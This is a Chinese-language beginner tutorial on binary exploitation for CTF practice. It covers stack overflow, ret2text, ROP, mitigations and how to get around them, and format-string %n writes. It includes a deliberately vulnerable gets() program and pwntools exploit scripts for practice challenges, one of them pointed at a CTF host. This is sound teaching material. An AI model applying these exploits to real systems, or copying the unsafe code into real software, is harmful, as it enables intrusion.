
BINARY EXPLOITATION — 攻破,取得权限
pip install pwntools,用于连接靶机、构造 payloadgdb ./程序 看寄存器、栈、断点辅助工具:checksec(看程序保护)、file(看文件类型/位数)、ROPgadget(找 gadget)、one_gadget(找 execve 一条龙)。
栈(Stack)是程序运行时的一块内存,用于存放局部变量、函数调用信息(返回地址等),后进先出。函数调用时,返回地址被压入栈;函数返回时,从栈里弹出返回地址继续执行。
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出、bss 段溢出等。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
发生栈溢出的基本前提:
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址(当然需要确保这个地址所在的段具有可执行权限)。
#include <stdio.h>
void success(void) { puts("You have already controlled it."); }
void vulnerable(void) {
char s[12];
gets(s); // 危险!不检查长度
puts(s);
}
int main() { vulnerable(); return 0; }
编译(关闭保护便于教学):gcc -m32 -fno-stack-protector -no-pie stack_example.c -o stack_example。
用 IDA 查看 vulnerable:字符串 s 距离 ebp 为 0x14。那么构造输入:
0x14 个 'a' + 'bbbb'(覆盖 saved ebp) + success_addr(覆盖返回地址)
由于 x86 是小端存储,0x0804843B 在内存中是 \x3b\x84\x04\x08。终端无法直接输入二进制,用 pwntools:
from pwn import *
sh = process('./stack_example')
success_addr = 0x0804843B # IDA 中 success 的地址
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
sh.sendline(payload)
sh.interactive() # 输出 "You have already controlled it."
这样,函数返回时 RIP 被劫持到 success,程序流程被完全控制 —— 这就是最基础的 ret2text。
通过寻找危险函数,快速确定程序是否可能有栈溢出,以及溢出位置。常见危险函数:
gets(直接读取一行,忽略 \x00)、scanf、vscanfsprintfstrcpy(字符串复制,遇到 \x00 停止)、strcat(字符串拼接)、bcopy历史上,莫里斯蠕虫(第一种蠕虫病毒)就利用了 gets 这个危险函数实现了栈溢出。
计算「要操作的地址」与「要覆盖的地址」的距离。常用方法:打开 IDA 看变量相对于 ebp/esp 的偏移;或者用 gdb 的 pattern 工具(pwntools cyclic() 生成、cyclic_find() 找偏移)。
| 保护 | 作用 | 绕过思路 |
|---|---|---|
| Canary(栈保护) | 函数返回前检查栈上随机值是否被改 | 泄露 canary 后原样填回 |
| NX(不可执行栈) | 栈上代码不可执行 | 用 ROP 拼系统调用,而不是执行 shellcode |
| PIE(地址随机) | 程序基址随机 | 先泄露一个地址算出基址 |
| RELRO | GOT 表保护 | Partial RELRO 可改 GOT(ret2plt 等) |
ROP 的思路:程序不能直接执行我们的代码,但可以用栈上已有的「小片段」(gadget,如 pop rdi; ret)把参数放进寄存器,再跳转到目标函数 —— 用一堆 return 拼出攻击链。
当程序直接 printf(buf)(把用户输入当格式化字符串)而不是 printf("%s", buf) 时,就存在格式化字符串漏洞。关键格式符:
%x:以十六进制打印栈上的值(泄露内存)%p:打印指针(类似 %x)%s:把栈上的值当地址,打印字符串(任意读)%n:把已经输出的字符数写入栈上某个地址(任意写,最危险)%N$n:直接操作第 N 个参数(如 %10$n 操作第 10 个参数)入门玩法:AAAA.%p.%p.%p... 数一下 0x41414141 出现在第几个位置,就能确定参数偏移;然后用 %N$n 往指定地址写值(见练习题 CGfsb)。
场景:Pwn 的「Hello World」。题目会给你一个远程地址端口,程序无漏洞,连上去拿 flag。
node4.buuoj.cn 28583。nc node4.buuoj.cn 28583(Windows 无 nc 可装 Nmap 或用 WSL)。ls 找到 flag,cat flag。$ ls
flag
$ cat flag
flag{...}
💡 之后所有 Pwn 题都是「本地调试 → 换成 remote 打远程」这个套路:io = remote('node4.buuoj.cn', 28583)。
场景:32 位程序,先要名字,再要一句话。程序里全局变量 pwnme 初始为 0,被改成 8 时执行 system("cat flag")。
printf(buf) —— 格式化字符串漏洞。pwnme 全局变量地址(示例 0x0804A068,以实际为准)。%n 把「已输出字符数」写入指定地址。payload 开头放 p32(pwnme)(输出 4 字节)+ 补 4 字节凑到 8,再用 %10$n 把 8 写到 pwnme(偏移 10 用 gdb 确认)。from pwn import *
io = process('./CGfsb') # 本地调试,远程用 remote(host, port)
io.recvuntil('name:')
io.sendline(b'admin') # 第一个输入随意
pwnme = 0x0804A068 # pwnme 地址(以 IDA 为准)
payload = p32(pwnme) + b'AAAA' + b'%10$n' # 输出 8 字节 -> %n 写入 8
io.recvuntil('flag:')
io.sendline(payload)
io.interactive() # 触发 system("cat flag")
💡 偏移不对时,先用 AAAA.%p.%p.%p... 找出 0x41414141 在第几个位置,替换 10。